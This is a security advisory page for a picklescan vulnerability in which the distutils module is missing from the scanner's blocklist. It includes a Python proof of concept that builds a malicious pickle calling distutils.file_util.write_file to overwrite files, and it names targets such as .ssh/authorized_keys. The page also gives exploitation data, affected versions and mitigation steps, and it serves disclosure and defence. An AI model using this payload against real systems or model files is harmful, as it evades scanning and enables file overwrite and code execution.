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Picklescan vulnerable to Arbitrary File WritingGHSA-m273-6v24-x4m4

Fix: mmaitre314/picklescan#53

GHSA-m273-6v24-x4m4 is a Deserialization of Untrusted Data vulnerability in picklescan. A fix is available for picklescan — see the affected versions and patch details below.

Also known asCVE-2025-71321PYSEC-2026-1791
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-m273-6v24-x4m4.

EPSS Exploitation Probability

via FIRST.org ↗
0.8%probability of exploitation in next 30 days
Lower Risk+0.20%
Lower risk than most CVEs58th percentile — riskier than 58% of all scored CVEsHighest risk
0.12%0.52%0.92%1.32%0.6%0.6%0.6%0.8%Jul 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍picklescan

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.

Details

This is another vulnerability which impacts the downstream user.

By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.

PoC

import pickle
import distutils.file_util

class FileWriteBypass:
    def __reduce__(self):
        
        target_file = "pwned_config.env"
        content = ["print('I have overwritten your config')"]
        
        return (distutils.file_util.write_file, (target_file, content))

payload = pickle.dumps(FileWriteBypass())
with open("bypass_filewrite.pkl", "wb") as f:
    f.write(payload)

print("bypass_filewrite.pkl")
<img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" />

To fix this just add disutil to the blacklist

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpicklescanall versions0.0.33pip install --upgrade 'picklescan==0.0.33'

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update picklescan to 0.0.33 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m273-6v24-x4m4 is resolved across your whole dependency graph.

  3. Workarounds

    Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.

Frequently Asked Questions

### Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. ### Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. ### PoC ```python import pickle import distutils.file_util class Fil
O3 Security · Impact-Aware SCA

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Picklescan vulnerable to Arbitrary File Writing